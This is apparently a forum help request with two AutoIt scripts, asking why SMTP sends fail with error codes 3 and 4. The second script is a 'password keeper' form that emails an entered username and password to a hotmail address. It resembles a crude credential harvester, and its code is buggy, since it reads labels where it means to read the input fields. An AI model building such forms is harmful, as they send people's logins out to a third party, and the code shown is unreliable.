#include <INet.au3>
$s_SmtpServer = "mysmtpserver.com.au"
$s_FromName = "dannie"
$s_FromAddress = "dannie92dk@hotmail.com"
$s_ToAddress = "dannie93dk@hotmail.com"
$s_Subject = "password kepper"
Dim $as_Body[2]
$as_Body[0] = "Testing the new email udf"
$as_Body[1] = "Second Line"
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
$err = @error
If $Response = 1 Then
MsgBox(0, "Success!", "Mail sent")
Else
MsgBox(0, "Error!", "Mail failed with error code " & $err)
EndIf
thats the code im trying now and then i get code error 3 and then im useing
#include <GUIConstants.au3>
#include <INet.au3>
Dim $getSelect1
Dim $getSelect2
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("pass word and username keeper", 608, 428, 193, 125)
GUICtrlCreateInput("", 224, 192, 121, 21)
GUICtrlCreateInput("", 224, 240, 121, 21)
$Group1 = GUICtrlCreateGroup("pass word and username keeper", 112, 168, 273, 121)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Username = GUICtrlCreateLabel("Username", 152, 192, 46, 17)
$password = GUICtrlCreateLabel("password", 152, 240, 49, 17)
$accept = GUICtrlCreateButton("accept", 300, 300, 80, 30, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
case $accept
$getSelect1 = GUICtrlRead($Username)
$getSelect2 = GUICtrlRead($password)
$s_Subject = "Username is: " & $getSelect1 & @CRLF & "Password is: " & $getSelect2
$response = _INetSmtpMail ( "192.168.1.1", "Password Keeper", "dannie92dk@hotmail.com", "dannie93dk@hotmail.com",$s_Subject)
If $response = 1 Then
MsgBox(0, "Success!", "Mail sent")
Else
MsgBox(0, "Error!", "Mail failed with error code " & @error)
EndIf
Exit
EndSwitch
WEnd
im getting the error 4